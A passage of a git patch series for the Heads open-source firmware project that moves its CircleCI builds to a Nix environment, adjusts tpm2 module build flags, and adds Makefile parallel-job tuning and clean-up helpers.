+ gnumake + gnused + gnutar + gzip + imagemagick + innoextract + libtool + m4 + ncurses5 # make menuconfig and slang + parted + patch + perl + pkg-config + python3 + rsync + sharutils + texinfo + unzip + wget + which + xz + zip + zlib + zlib.dev + ] + ++ [ + # blobs/xx30/vbios_[tw]530.sh + bundler + p7zip + ruby + sudo # ( °-° ) + upx + ] + ++ [ + # debugging/fixing/testing + qemu + vim + ]; + in { + devShell = pkgs.mkShellNoCC { + buildInputs = deps; + }; + packages.myDevShell = + pkgs.runCommand "my-dev-shell" {} + #bash + '' + grep \ + -e CMAKE_PREFIX_PATH \ + -e NIX_CC_WRAPPER_TARGET_TARGET \ + -e NIX_CFLAGS_COMPILE_FOR_TARGET \ + -e NIX_LDFLAGS_FOR_TARGET \ + -e PKG_CONFIG_PATH_FOR_TARGET \ + ${self.devShell.${system}} >$out + ''; + packages.dockerImage = pkgs.dockerTools.buildLayeredImage { + name = "linuxboot/heads"; + tag = "dev-env"; + config.Entrypoint = ["bash" "-c" ''source /devenv.sh; if (( $# == 0 )); then exec bash; else exec "$0" "$@"; fi'']; + contents = + deps + ++ [ + pkgs.dockerTools.binSh + pkgs.dockerTools.caCertificates + pkgs.dockerTools.usrBinEnv + ]; + enableFakechroot = true; + fakeRootCommands = + #bash + '' + set -e + + grep \ + -e NIX_CC_WRAPPER_TARGET_TARGET \ + -e NIX_CFLAGS_COMPILE_FOR_TARGET \ + -e NIX_LDFLAGS_FOR_TARGET \ + -e NIX_PKG_CONFIG_WRAPPER_TARGET \ + -e PKG_CONFIG_PATH_FOR_TARGET \ + ${self.devShell.${system}} >/devenv.sh + + printf '[safe]\n\tdirectory = *\n' >/.gitconfig + mkdir /tmp; + ''; + }; + }); +} From 7169fab81bfd43b4235dd5cff30128a70ae9261d Mon Sep 17 00:00:00 2001 From: Manuel Mendez Date: Fri, 6 Jan 2023 12:04:50 -0500 Subject: [PATCH 074/619] ci: Switch image from debian to nix Signed-off-by: Manuel Mendez Signed-off-by: Thierry Laurion --- .circleci/config.yml | 133 +++++++------------------------------------ 1 file changed, 19 insertions(+), 114 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index 88925a3da..69356c113 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -10,68 +10,11 @@ commands: subcommand: type: string steps: - - run: - name: Install dependencies - command: | - ln -fs /usr/share/zoneinfo/America/New_York /etc/localtime - apt update - apt install -y \ - autoconf \ - automake \ - bc \ - bison \ - build-essential \ - bzip2 \ - ccache \ - cmake \ - cpio \ - curl \ - device-tree-compiler \ - doxygen \ - e2fsprogs \ - flex \ - gawk \ - git \ - gnat \ - gnupg \ - graphviz \ - iasl \ - imagemagick \ - innoextract \ - libdigest-sha-perl \ - libelf-dev \ - libncurses5-dev \ - libssl-dev \ - libtool \ - libudev-dev \ - libudev1 \ - libusb-1.0-0-dev \ - m4 \ - nasm \ - ncurses-dev \ - parted \ - patch \ - pkg-config \ - python \ - python2 \ - python3 \ - rsync \ - sharutils \ - sudo \ - texinfo \ - u-boot-tools \ - udev \ - unzip \ - uuid-dev \ - wget \ - zip \ - zlib1g-dev \ - ; - run: name: Make Board (FULL ORDERED BUILD LOGS HERE UNTIL JOB FAILED) command: | rm -rf build/<>/<>/* build/<>/log/* - make V=1 BOARD=<> <> || touch ./tmpDir/failed_build + nix --print-build-logs --verbose develop --ignore-environment --command make V=1 BOARD=<> <> || touch ./tmpDir/failed_build no_output_timeout: 3h - run: name: Output hashes @@ -100,63 +43,21 @@ commands: jobs: prep_env: docker: - - image: debian:11 + - image: nixos/nix:2.16.1 resource_class: large working_directory: ~/heads steps: - - run: - name: Install dependencies - command: | - ln -fs /usr/share/zoneinfo/America/New_York /etc/localtime - apt update - apt install -y \ - autoconf \ - automake \ - bc \ - bison \ - build-essential \ - bzip2 \ - ccache \ - cmake \ - cpio \ - doxygen \ - flex \ - gawk \ - git \ - gnat \ - gnupg \ - graphviz \ - iasl \ - imagemagick \ - innoextract \ - libdigest-sha-perl \ - libelf-dev \ - libncurses5-dev \ - libtool \ - libudev-dev \ - libudev1 \ - libusb-1.0-0-dev \ - m4 \ - nasm \ - ncurses-dev \ - patch \ - pkg-config \ - python \ - python2 \ - python3 \ - rsync \ - sudo \ - texinfo \ - udev \ - uuid-dev \ - wget \ - zlib1g-dev \ - ; - checkout - run: name: git reset command: | git reset --hard "$CIRCLE_SHA1" + - run: + name: Fetch nix dependencies + command: | + mkdir -p ~/.config/nix + echo 'experimental-features = nix-command flakes' >~/.config/nix/nix.conf + nix --print-build-logs --verbose develop --ignore-environment --command true - run: name: Make tmp dir command: | @@ -189,20 +90,24 @@ jobs: - run: name: Download and neuter xx20 ME (keep generated GBE and extracted IFD in tree) command: | - ./blobs/xx20/download_parse_me.sh + nix --print-build-logs --verbose develop --ignore-environment --command ./blobs/xx20/download_parse_me.sh - run: # me_cleaner.py present under heads xx30 blobs dir comes from https://github.com/corna/me_cleaner/blob/43612a630c79f3bc6f2653bfe90dfe0b7b137e08/me_cleaner.py name: Download and neuter xx30 ME (keep generated GBE and extracted IFD in tree) command: | - ./blobs/xx30/download_clean_me_manually.sh -m $(readlink -f ./blobs/xx30/me_cleaner.py) + nix --print-build-logs --verbose develop --ignore-environment --command ./blobs/xx30/download_clean_me_manually.sh -m $(readlink -f ./blobs/xx30/me_cleaner.py) - run: name: Download and extract t530 vbios roms for dgpu boards command: | - ./blobs/xx30/vbios_t530.sh + echo skipping for now + exit 0 + nix --print-build-logs --verbose develop --ignore-environment --command ./blobs/xx30/vbios_t530.sh - run: name: Download and extract w530 vbios roms for dgpu boards command: | - ./blobs/xx30/vbios_w530.sh + echo skipping for now + exit 0 + nix --print-build-logs --verbose develop --ignore-environment --command ./blobs/xx30/vbios_w530.sh - persist_to_workspace: root: ~/ paths: @@ -210,7 +115,7 @@ jobs: build_and_persist: docker: - - image: debian:11 + - image: nixos/nix:2.16.1 resource_class: large working_directory: ~/heads parameters: @@ -238,7 +143,7 @@ jobs: build: docker: - - image: debian:11 + - image: nixos/nix:2.16.1 resource_class: large working_directory: ~/heads parameters: @@ -259,7 +164,7 @@ jobs: save_cache: docker: - - image: debian:11 + - image: nixos/nix:2.16.1 resource_class: large working_directory: ~/heads steps: From 1174282bc46688c495d6aa8fb57d12b1121594ab Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sun, 2 Jul 2023 12:23:49 -0400 Subject: [PATCH 075/619] ci: Prepend nix- to save and restore cache statements Until nix PR is merged to not interfere with master/other pr caches Signed-off-by: Manuel Mendez Signed-off-by: Thierry Laurion --- .circleci/config.yml | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index 69356c113..8044a330e 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -80,13 +80,13 @@ jobs: # Cache for matching modules digest, validated to be exactly the same as in github current commit. # This cache was made on top of below caches, if previously existing. # If no module definition changed, we reuse this one - - heads-modules-and-patches-{{ checksum "./tmpDir/all_modules_and_patches.sha256sums" }}{{ .Environment.CACHE_VERSION }} + - nix-heads-modules-and-patches-{{ checksum "./tmpDir/all_modules_and_patches.sha256sums" }}{{ .Environment.CACHE_VERSION }} # Cache for coreboot module (and patches) and musl-cross-make digests (coreboot: triannual release) - - heads-coreboot-musl-cross-{{ checksum "./tmpDir/coreboot_musl-cross.sha256sums" }}{{ .Environment.CACHE_VERSION }} + - nix-heads-coreboot-musl-cross-{{ checksum "./tmpDir/coreboot_musl-cross.sha256sums" }}{{ .Environment.CACHE_VERSION }} # Cache for musl-cross-make module digest (rarely modified). - - heads-musl-cross-{{ checksum "./tmpDir/musl-cross.sha256sums" }}{{ .Environment.CACHE_VERSION }} + - nix-heads-musl-cross-{{ checksum "./tmpDir/musl-cross.sha256sums" }}{{ .Environment.CACHE_VERSION }} - run: name: Download and neuter xx20 ME (keep generated GBE and extracted IFD in tree) command: | @@ -173,7 +173,7 @@ jobs: - save_cache: # Generate cache for the same musl-cross module definition if hash is not previously existing # CircleCI removed their wildcard support, so we have to list precise versions to cache in directory names - key: heads-musl-cross-{{ checksum "./tmpDir/musl-cross.sha256sums" }}{{ .Environment.CACHE_VERSION }} + key: nix-heads-musl-cross-{{ checksum "./tmpDir/musl-cross.sha256sums" }}{{ .Environment.CACHE_VERSION }} paths: - build/ppc64/musl-cross-38e52db8358c043ae82b346a2e6e66bc86a53bc1 - build/x86/musl-cross-38e52db8358c043ae82b346a2e6e66bc86a53bc1 @@ -182,7 +182,7 @@ jobs: - save_cache: # Generate cache for the same coreboot mnd musl-cross-make modules definition if hash is not previously existing # CircleCI removed their wildcard support, so we have to list precise versions to cache in directory names - key: heads-coreboot-musl-cross-{{ checksum "./tmpDir/coreboot_musl-cross.sha256sums" }}{{ .Environment.CACHE_VERSION }} + key: nix-heads-coreboot-musl-cross-{{ checksum "./tmpDir/coreboot_musl-cross.sha256sums" }}{{ .Environment.CACHE_VERSION }} paths: - build/ppc64/coreboot-talos_2 - build/ppc64/musl-cross-38e52db8358c043ae82b346a2e6e66bc86a53bc1 @@ -199,7 +199,7 @@ jobs: - packages - save_cache: #Generate cache for the exact same modules definitions if hash is not previously existing - key: heads-modules-and-patches-{{ checksum "./tmpDir/all_modules_and_patches.sha256sums" }}{{ .Environment.CACHE_VERSION }} + key: nix-heads-modules-and-patches-{{ checksum "./tmpDir/all_modules_and_patches.sha256sums" }}{{ .Environment.CACHE_VERSION }} paths: - build - crossgcc From e5c55d79e36d18db97ac0486581951cc916d027b Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 23 Apr 2024 10:41:36 -0400 Subject: [PATCH 076/619] CircleCI: have nitropad-nv41 build on top of prep_env, not x230-hotp-maximized Signed-off-by: Thierry Laurion --- .circleci/config.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index 8044a330e..88eb5736e 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -241,7 +241,7 @@ workflows: target: nitropad-nv41 subcommand: "" requires: - - x230-hotp-maximized + - prep_env # coreboot talos_2 - build_and_persist: From 75a5c2f1e65277d8b6333243036e8b59d5b2a6ec Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 23 Apr 2024 10:46:24 -0400 Subject: [PATCH 077/619] tpm2 modules: remove sysroot and unneeded duplicated Makefile tweaks now passed from golbal Makefile sysroot (TODO: generalize) Signed-off-by: Thierry Laurion --- modules/tpm2-tools | 3 --- modules/tpm2-tss | 1 - 2 files changed, 4 deletions(-) diff --git a/modules/tpm2-tools b/modules/tpm2-tools index 9d4f1247c..bba25bc5d 100644 --- a/modules/tpm2-tools +++ b/modules/tpm2-tools @@ -32,9 +32,6 @@ tpm2-tools_configure := \ --prefix "/" \ --disable-fapi \ CFLAGS="-fdebug-prefix-map=$(INSTALL)=." \ - --with-sysroot=$(INSTALL) \ - TSS2_ESYS_3_0_CFLAGS="-I$(INSTALL)/include" \ - TSS2_ESYS_3_0_LIBS="-ltss2-esys -L$(INSTALL)/lib" \ tpm2-tools_target := $(MAKE_JOBS) \ DESTDIR="$(INSTALL)" \ diff --git a/modules/tpm2-tss b/modules/tpm2-tss index 91e1a26cd..c8c1c84e8 100644 --- a/modules/tpm2-tss +++ b/modules/tpm2-tss @@ -21,7 +21,6 @@ tpm2-tss_configure := aclocal && automake --add-missing && autoreconf -fi \ $(CROSS_TOOLS) \ --host $(MUSL_ARCH)-elf-linux \ --prefix "/" \ - --with-sysroot=$(INSTALL) \ --disable-doxygen-doc \ --disable-doxygen-html \ --disable-doxygen-man \ From 9ab5260871d2b9c6b4fd58053f3b59ff9dc7ef54 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 23 Apr 2024 11:58:33 -0400 Subject: [PATCH 078/619] Makefile: add yet another developer helper: real.gitclean_keep_packages to not delete already downloaded packages to economize bandwidth Signed-off-by: Thierry Laurion --- Makefile | 2 ++ 1 file changed, 2 insertions(+) diff --git a/Makefile b/Makefile index 84f5af112..340070674 100644 --- a/Makefile +++ b/Makefile @@ -796,3 +796,5 @@ real.clean: cd install && rm -rf -- * real.gitclean: git clean -fxd +real.gitclean_keep_packages: + git clean -fxd -e "packages" From cbf984ad7c7e18fb542dcc8b74388c1cf30aadc0 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 23 Apr 2024 13:37:17 -0400 Subject: [PATCH 079/619] WiP modules/tpm2* : removed Makefile build instructions too quick /nix/store/5lr5n3qa4day8l1ivbwlcby2nknczqkq-bash-5.2p26/bin/bash ./libtool --tag=CC --mode=link /home/user/heads/crossgcc/x86/bin/x86_64-linux-musl-gcc -fdebug-prefix-map=/home/user/heads=heads -gno-record-gcc-switches -D__MUSL__ --sysroot /home/user/heads/install/x86 -isystem /home/user/heads/install/x86/include -L/home/user/heads/install/x86/lib -I./tools -I./lib -Wall -Wextra -Wformat -Wformat-security -Wstack-protector -fstack-protector-all -Wstrict-overflow=5 -O2 -fPIC -fPIE -D_GNU_SOURCE -std=gnu99 -Wstringop-overflow=4 -Wstringop-truncation -Wduplicated-branches -Wduplicated-cond -Wbool-compare -fdata-sections -ffunction-sections -I/home/user/heads/install/x86/include -I/home/user/heads/install/x86//include -I/home/user/heads/install/x86//include/tss2 -I/home/user/heads/install/x86/nix/store/yg75achq89wgqn2fi3gglgsd77kjpi03-openssl-3.0.13-dev/include -I/home/user/heads/install/x86//include -I/home/user/heads/install/x86//include/tss2 -I/home/user/heads/install/x86//include -I/home/user/heads/install/x86//include/tss2 -I/home/user/heads/install/x86//include -I/home/user/heads/install/x86//include/tss2 -DTPM2_TOOLS_MAX="101" -fdebug-prefix-map=/home/user/heads/install/x86=. -shared -pie -Wl,-z,relro -Wl,-z,now -Wl,--gc-sections -o tools/tpm2 tools/tpm2-tpm2_tool.o tools/misc/tpm2-tpm2_certifyX509certutil.o tools/misc/tpm2-tpm2_checkquote.o tools/misc/tpm2-tpm2_encodeobject.o tools/misc/tpm2-tpm2_eventlog.o tools/misc/tpm2-tpm2_print.o tools/misc/tpm2-tpm2_rc_decode.o tools/misc/tpm2-tpm2_tr_encode.o tools/tpm2-tpm2_activatecredential.o tools/tpm2-tpm2_certify.o tools/tpm2-tpm2_changeauth.o tools/tpm2-tpm2_changeeps.o tools/tpm2-tpm2_changepps.o tools/tpm2-tpm2_clear.o tools/tpm2-tpm2_clearcontrol.o tools/tpm2-tpm2_clockrateadjust.o tools/tpm2-tpm2_create.o tools/tpm2-tpm2_createak.o tools/tpm2-tpm2_createek.o tools/tpm2-tpm2_createpolicy.o tools/tpm2-tpm2_setprimarypolicy.o tools/tpm2-tpm2_createprimary.o tools/tpm2-tpm2_dictionarylockout.o tools/tpm2-tpm2_duplicate.o tools/tpm2-tpm2_getcap.o tools/tpm2-tpm2_gettestresult.o tools/tpm2-tpm2_encryptdecrypt.o tools/tpm2-tpm2_evictcontrol.o tools/tpm2-tpm2_flushcontext.o tools/tpm2-tpm2_getrandom.o tools/tpm2-tpm2_gettime.o tools/tpm2-tpm2_hash.o tools/tpm2-tpm2_hierarchycontrol.o tools/tpm2-tpm2_hmac.o tools/tpm2-tpm2_import.o tools/tpm2-tpm2_incrementalselftest.o tools/tpm2-tpm2_load.o tools/tpm2-tpm2_loadexternal.o tools/tpm2-tpm2_makecredential.o tools/tpm2-tpm2_nvdefine.o tools/tpm2-tpm2_nvextend.o tools/tpm2-tpm2_nvincrement.o tools/tpm2-tpm2_nvreadpublic.o tools/tpm2-tpm2_nvread.o tools/tpm2-tpm2_nvreadlock.o tools/tpm2-tpm2_nvundefine.o tools/tpm2-tpm2_nvwrite.o tools/tpm2-tpm2_nvwritelock.o tools/tpm2-tpm2_nvsetbits.o tools/tpm2-tpm2_pcrallocate.o tools/tpm2-tpm2_pcrevent.o tools/tpm2-tpm2_pcrextend.o tools/tpm2-tpm2_pcrread.o tools/tpm2-tpm2_pcrreset.o tools/tpm2-tpm2_policypcr.o tools/tpm2-tpm2_policyauthorize.o tools/tpm2-tpm2_policyauthorizenv.o tools/tpm2-tpm2_policynv.o tools/tpm2-tpm2_policycountertimer.o tools/tpm2-tpm2_policyor.o tools/tpm2-tpm2_policynamehash.o tools/tpm2-tpm2_policytemplate.o tools/tpm2-tpm2_policycphash.o tools/tpm2-tpm2_policypassword.o tools/tpm2-tpm2_policysigned.o tools/tpm2-tpm2_policyticket.o tools/tpm2-tpm2_policyauthvalue.o tools/tpm2-tpm2_policysecret.o tools/tpm2-tpm2_policyrestart.o tools/tpm2-tpm2_policycommandcode.o tools/tpm2-tpm2_policynvwritten.o tools/tpm2-tpm2_policyduplicationselect.o tools/tpm2-tpm2_policylocality.o tools/tpm2-tpm2_quote.o tools/tpm2-tpm2_readclock.o tools/tpm2-tpm2_readpublic.o tools/tpm2-tpm2_rsadecrypt.o tools/tpm2-tpm2_rsaencrypt.o tools/tpm2-tpm2_send.o tools/tpm2-tpm2_selftest.o tools/tpm2-tpm2_setclock.o tools/tpm2-tpm2_shutdown.o tools/tpm2-tpm2_sign.o tools/tpm2-tpm2_certifycreation.o tools/tpm2-tpm2_nvcertify.o tools/tpm2-tpm2_startauthsession.o tools/tpm2-tpm2_startup.o tools/tpm2-tpm2_stirrandom.o tools/tpm2-tpm2_testparms.o tools/tpm2-tpm2_unseal.o tools/tpm2-tpm2_verifysignature.o tools/tpm2-tpm2_setcommandauditstatus.o tools/tpm2-tpm2_getcommandauditdigest.o tools/tpm2-tpm2_getsessionauditdigest.o tools/tpm2-tpm2_geteccparameters.o tools/tpm2-tpm2_ecephemeral.o tools/tpm2-tpm2_commit.o tools/tpm2-tpm2_ecdhkeygen.o tools/tpm2-tpm2_ecdhzgen.o tools/tpm2-tpm2_zgen2phase.o tools/tpm2-tpm2_sessionconfig.o tools/tpm2-tpm2_getpolicydigest.o lib/libcommon.a -ltss2-esys -L/home/user/heads/install/x86/lib -L/home/user/heads/install/x86//lib -ltss2-mu -L/home/user/heads/install/x86/nix/store/7nmrrad8skxr47f9hfl3xc0pfqmwq51b-openssl-3.0.13/lib -lcrypto -L/home/user/heads/install/x86//lib -ltss2-tctildr -L/home/user/heads/install/x86//lib -ltss2-rc -L/home/user/heads/install/x86//lib -ltss2-sys libtool: error: cannot find the library '//lib/libtss2-sys.la' or unhandled argument '//lib/libtss2-sys.la' make[1]: *** [Makefile:2478: tools/tpm2] Error 1 make[1]: Leaving directory '/home/user/heads/build/x86/tpm2-tools-5.6' make: *** [Makefile:521: /home/user/heads/build/x86/tpm2-tools-5.6/.build] Error 1 Signed-off-by: Thierry Laurion --- modules/tpm2-tools | 3 +++ modules/tpm2-tss | 1 + 2 files changed, 4 insertions(+) diff --git a/modules/tpm2-tools b/modules/tpm2-tools index bba25bc5d..dbc86ebf9 100644 --- a/modules/tpm2-tools +++ b/modules/tpm2-tools @@ -31,6 +31,9 @@ tpm2-tools_configure := \ --host $(MUSL_ARCH)-elf-linux \ --prefix "/" \ --disable-fapi \ + --with-sysroot=$(INSTALL) \ + TSS2_ESYS_3_0_CFLAGS="-I$(INSTALL)/include" \ + TSS2_ESYS_3_0_LIBS="-ltss2-esys -L$(INSTALL)/lib" \ CFLAGS="-fdebug-prefix-map=$(INSTALL)=." \ tpm2-tools_target := $(MAKE_JOBS) \ diff --git a/modules/tpm2-tss b/modules/tpm2-tss index c8c1c84e8..91e1a26cd 100644 --- a/modules/tpm2-tss +++ b/modules/tpm2-tss @@ -21,6 +21,7 @@ tpm2-tss_configure := aclocal && automake --add-missing && autoreconf -fi \ $(CROSS_TOOLS) \ --host $(MUSL_ARCH)-elf-linux \ --prefix "/" \ + --with-sysroot=$(INSTALL) \ --disable-doxygen-doc \ --disable-doxygen-html \ --disable-doxygen-man \ From 05223ca6a37075553f9f52ffcdff39a01287fc01 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 23 Apr 2024 14:31:54 -0400 Subject: [PATCH 080/619] CircleCI + Makefile: remove limitation to loadavg of 16 in Makefile, test CPUS=8 to maximize loadavg on CircleCI with 4 CPUs & 8GB ram See first lines of output of any make command. Change aimed to be respectful of CI resource (8GB ram 4CPUs) With CPUS=8 AVAILABLE_MEM_GB=4, CircleCI outputs: !!!!!! BUILD SYSTEM INFO !!!!!! System CPUS: 36 System Available Memory: 4 GB System Load Average: 12.99 ---------------------------------------------------------------------- Used **CPUS**: 8 Used **LOADAVG**: 8 Used **AVAILABLE_MEM_GB**: 4 GB ---------------------------------------------------------------------- **MAKE_JOBS**: -j8 --max-load 8 Variables available for override (use 'make VAR_NAME=value'): **CPUS** (default: number of processors, e.g., 'make CPUS=4') **LOADAVG** (default: same as CPUS, e.g., 'make LOADAVG=4') **AVAILABLE_MEM_GB** (default: memory available on the system in GB, e.g., 'make AVAILABLE_MEM_GB=4') **MEM_PER_JOB_GB** (default: 1GB per job, e.g., 'make MEM_PER_JOB_GB=2') ---------------------------------------------------------------------- Let's try without any limitation... Signed-off-by: Thierry Laurion --- .circleci/config.yml | 2 +- Makefile | 44 +++++++++++++++++++++++++++++++++++++++++--- 2 files changed, 42 insertions(+), 4 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index 88eb5736e..da6280b90 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -11,7 +11,7 @@ commands: type: string steps: - run: - name: Make Board (FULL ORDERED BUILD LOGS HERE UNTIL JOB FAILED) + name: Make Board (console logs not contiguous because multiple CPUS used to build under CircleCI, see logs in artifacts or Output build failing logs below in case of failed step) command: | rm -rf build/<>/<>/* build/<>/log/* nix --print-build-logs --verbose develop --ignore-environment --command make V=1 BOARD=<> <> || touch ./tmpDir/failed_build diff --git a/Makefile b/Makefile index 340070674..ac3d6b42f 100644 --- a/Makefile +++ b/Makefile @@ -25,11 +25,49 @@ INSTALL = $(pwd)/install/$(CONFIG_TARGET_ARCH) log_dir = $(build)/log board_build = $(build)/$(BOARD) + +# Estimated memory required per job in GB (e.g., 1GB for gcc) +MEM_PER_JOB_GB ?= 1 + # Controls how many parallel jobs are invoked in subshells -CPUS ?= $(shell nproc) -MAKE_JOBS ?= -j$(CPUS) --max-load 16 +CPUS ?= $(shell getconf _NPROCESSORS_ONLN) +AVAILABLE_MEM_GB ?= $(shell awk '/MemAvailable/ {print int($$2 / 1024 / 1024)}' /proc/meminfo) + +# Calculate the maximum number of jobs based on available memory +MAX_JOBS_MEM := $(shell echo $$(( $(AVAILABLE_MEM_GB) / $(MEM_PER_JOB_GB) ))) + +# Use the minimum of the system's CPUs and the calculated max jobs based on memory +CPUS := $(shell echo $$(($(CPUS) < $(MAX_JOBS_MEM) ? $(CPUS) : $(MAX_JOBS_MEM)))) + +# Load average can be adjusted to be higher than CPUS to allow for some CPU overcommit +# Multiply by 3 and then divide by 2 to achieve the effect of multiplying by 1.5 using integer arithmetic +LOADAVG ?= $(shell echo $$(( ($(CPUS) * 3) / 2 ))) + +# Construct MAKE_JOBS with dynamic CPU count and load average +MAKE_JOBS := -j$(CPUS) --load-average=$(LOADAVG) # Add other flags as needed + +# Print out the settings and compare system values with actual ones used +$(info ----------------------------------------------------------------------) +$(info !!!!!! BUILD SYSTEM INFO !!!!!!) +$(info System CPUS: $(shell getconf _NPROCESSORS_ONLN)) +$(info System Available Memory: $(AVAILABLE_MEM_GB) GB) +$(info System Load Average: $(shell uptime | awk '{print $$10}')) +$(info ----------------------------------------------------------------------) +$(info Used **CPUS**: $(CPUS)) +$(info Used **LOADAVG**: $(LOADAVG)) +$(info Used **AVAILABLE_MEM_GB**: $(AVAILABLE_MEM_GB) GB) +$(info ----------------------------------------------------------------------) +$(info **MAKE_JOBS**: $(MAKE_JOBS)) +$(info ) +$(info Variables available for override (use 'make VAR_NAME=value'):) +$(info **CPUS** (default: number of processors, e.g., 'make CPUS=4')) +$(info **LOADAVG** (default: 1.5 times CPUS, e.g., 'make LOADAVG=54')) +$(info **AVAILABLE_MEM_GB** (default: memory available on the system in GB, e.g., 'make AVAILABLE_MEM_GB=4')) +$(info **MEM_PER_JOB_GB** (default: 1GB per job, e.g., 'make MEM_PER_JOB_GB=2')) +$(info ----------------------------------------------------------------------) +$(info !!!!!! Build starts !!!!!!) + -WGET ?= wget # Timestamps should be in ISO format DATE=`date --rfc-3339=seconds` From e841f9bc0d0587ed84b4dc7463febeba9e0d7abb Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 23 Apr 2024 17:56:24 -0400 Subject: [PATCH 081/619] modules/* : Make sure MAKE_JOBS is passed down Signed-off-by: Thierry Laurion --- modules/flashtools | 1 + modules/json-c | 2 +- modules/tpmtotp | 1 + 3 files changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/flashtools b/modules/flashtools index edbf136d9..94386ba7c 100644 --- a/modules/flashtools +++ b/modules/flashtools @@ -10,6 +10,7 @@ flashtools_hash := a68cdb4a2e312f96862119a6d829ac900b53d0cbc80caa5632efd43b5b7ee flashtools_target := \ $(CROSS_TOOLS) \ + $(MAKE_JOBS) \ CFLAGS="-Os -I$(INSTALL)/include" \ LDFLAGS="-L$(INSTALL)/lib" \ diff --git a/modules/json-c b/modules/json-c index 158e320fd..cf310c3cf 100644 --- a/modules/json-c +++ b/modules/json-c @@ -31,7 +31,7 @@ json-c_configure := \ cmake .. -DCMAKE_INSTALL_PREFIX="$(INSTALL)" -DCMAKE_TOOLCHAIN_FILE=../toolchain -DCMAKE_BUILD_TYPE=minsizerel json-c_target := \ - $(CROSS_TOOLS) -C $(build)/$(json-c_dir)/build \ + $(CROSS_TOOLS) $(MAKE_JOBS) -C $(build)/$(json-c_dir)/build \ all install json-c_libraries := build/libjson-c.so.5 diff --git a/modules/tpmtotp b/modules/tpmtotp index 57b3c54ae..eb52f03c6 100644 --- a/modules/tpmtotp +++ b/modules/tpmtotp @@ -10,6 +10,7 @@ tpmtotp_hash := eaac1e8f652f1da7f5a1ed6a8cfefb6511f1e5e1dabf93b44db3b29c18c5ae53 tpmtotp_target := \ $(CROSS_TOOLS) \ + $(MAKE_JOBS) \ CFLAGS="-I$(INSTALL)/include -Os" \ LDFLAGS="-L$(INSTALL)/lib" \ From a29f92a26d8e3ca9b1b1e392948fc8603821219f Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 23 Apr 2024 19:14:31 -0400 Subject: [PATCH 082/619] modules/* : WiP for tpm2-* while having added MAKE_JOBS to modules that were missing it to propogate build optimizations per module, while still impossible to call make -j 12 on main make call Signed-off-by: Thierry Laurion --- modules/tpm2-tools | 3 --- 1 file changed, 3 deletions(-) diff --git a/modules/tpm2-tools b/modules/tpm2-tools index dbc86ebf9..0051a28a1 100644 --- a/modules/tpm2-tools +++ b/modules/tpm2-tools @@ -32,9 +32,6 @@ tpm2-tools_configure := \ --prefix "/" \ --disable-fapi \ --with-sysroot=$(INSTALL) \ - TSS2_ESYS_3_0_CFLAGS="-I$(INSTALL)/include" \ - TSS2_ESYS_3_0_LIBS="-ltss2-esys -L$(INSTALL)/lib" \ - CFLAGS="-fdebug-prefix-map=$(INSTALL)=." \ tpm2-tools_target := $(MAKE_JOBS) \ DESTDIR="$(INSTALL)" \ From 975a2424cddbaa18ba2cab676b36c143ec2c2955 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 23 Apr 2024 19:34:32 -0400 Subject: [PATCH 083/619] Makefile: add yet another helper real.remove_canary_files-extract_patch_rebuild_what_changed: reextract packages, repatch sources (might fail, easy to fix) and rebuild only what changed (not a lot) if patch fails to apply, its because patch file creates a file and doesn't expect it to exist. just call rm on the file reported to exist, and relaunch build. Deletes ./install/*/* and permits to rebuild all dependencies in order, just based on freshly extracted and patched code. Bonus, this saves your SDD from unneeded wear and rebuilds faster then all other Mafile helpers. That's my favorite. Signed-off-by: Thierry Laurion --- Makefile | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/Makefile b/Makefile index ac3d6b42f..68a601e6c 100644 --- a/Makefile +++ b/Makefile @@ -833,6 +833,20 @@ real.clean: done cd install && rm -rf -- * real.gitclean: + #Use git ignore file as a base to wipe everything not in tree. Keeps coreboot forks downloaded since detected as git repos, wipes the rest. git clean -fxd real.gitclean_keep_packages: + #Same as above but keep the packages downloaded to save bandwidth git clean -fxd -e "packages" +real.remove_canary_files-extract_patch_rebuild_what_changed: + #Another approach is to remove the "canary" files + # This forces Heads to restart building a board config by checking packages integrity, extracting them, redoing patching on files and rebuilding what needs to be rebuilt + # reinstalling what is needed under ./install as well which is what we normally want on a development cycle. + #Limitations: if for whatever reason, a patch creates a file in an extracted package dir, this approach will fail without further manual actions + # This is not so bad though: git patch apply tells you exactly which file couldn't be created as expected. Just delete those files and relaunch the build and it will succeed. + #This approach economizes a lot of time since most of the build artifacts do not need to be rebuilt since the dates of the files should be the same as when you originally built them. + # So only a minimal time is needed to rebuild, and this is also good for your SSD. + #**** USE THIS APPROACH FIRST *** + find ./build/ -type f -name ".canary" | xargs rm || echo "All .carnary files already deleted" + find ./install/*/* | xargs rm -rf || echo "All install/ARCH/* dirs and files already deleted" + echo "you can now call make BOARD=desired_board, and if any patch fails to apply because file exists; just rm that build/path_to_file and continue testing!" From c197d6193aae4162ab3003066f70a26dbf5e87aa Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 23 Apr 2024 20:25:21 -0400 Subject: [PATCH 084/619] NIX_REPRO_NOTES: Add notes to help repro and go farther faster without loosing traces of reproduction notes Signed-off-by: Thierry Laurion --- NIX_REPRO_NOTES | 60 +++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 60 insertions(+) create mode 100644 NIX_REPRO_NOTES diff --git a/NIX_REPRO_NOTES b/NIX_REPRO_NOTES new file mode 100644 index 